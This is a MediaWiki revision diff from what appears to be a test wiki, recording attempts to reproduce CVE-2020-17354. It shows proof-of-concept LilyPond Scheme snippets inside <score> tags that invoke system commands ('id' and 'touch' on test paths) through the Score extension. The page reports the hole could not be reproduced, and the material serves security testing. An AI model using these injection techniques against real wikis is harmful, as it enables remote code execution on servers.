Tim paste: Difference between revisions
From ZMOG test wiki (master branch)
No edit summary |
|||
(2 intermediate revisions by the same user not shown) | |||
Line 57: | Line 57: | ||
== CVE-2020-17354 == | == CVE-2020-17354 == | ||
See [https://phabricator.wikimedia.org/T259210 T259210] | See [https://phabricator.wikimedia.org/T259210 T259210]; unable to reproduce with LilyPond 2.23.82, MediaWiki REL1_39, Score on master. | ||
1. PoC from task:<score> | 1. PoC from task:<score> | ||
Line 69: | Line 69: | ||
(eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | ||
(display "With output-def-lookup\n") | (display "With output-def-lookup\n") | ||
((ly:output-def-lookup #{ \midi {} #} 'system) " | ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-1") | ||
) | ) | ||
</score> | </score> | ||
2. Again, using raw=1:<score raw=1> | 2. Again, using raw=1:<score raw=1> | ||
{ | \header { tagline = ##f } { | ||
\relative { c' } | \relative { c' } | ||
} | } | ||
Line 83: | Line 83: | ||
(eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | ||
(display "With output-def-lookup\n") | (display "With output-def-lookup\n") | ||
((ly:output-def-lookup #{ \midi {} #} 'system) " | ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-2") | ||
) | ) | ||
</score> | </score> | ||
Line 94: | Line 94: | ||
#(lambda (grob) | #(lambda (grob) | ||
((cdr (assoc 'text | ((cdr (assoc 'text | ||
(cadr (ly:grob-alist-chain grob '())))) " | (cadr (ly:grob-alist-chain grob '())))) "touch /var/www/mediawiki-test/images/lilypond/test-3") | ||
#f) | #f) | ||
c4 | c4 |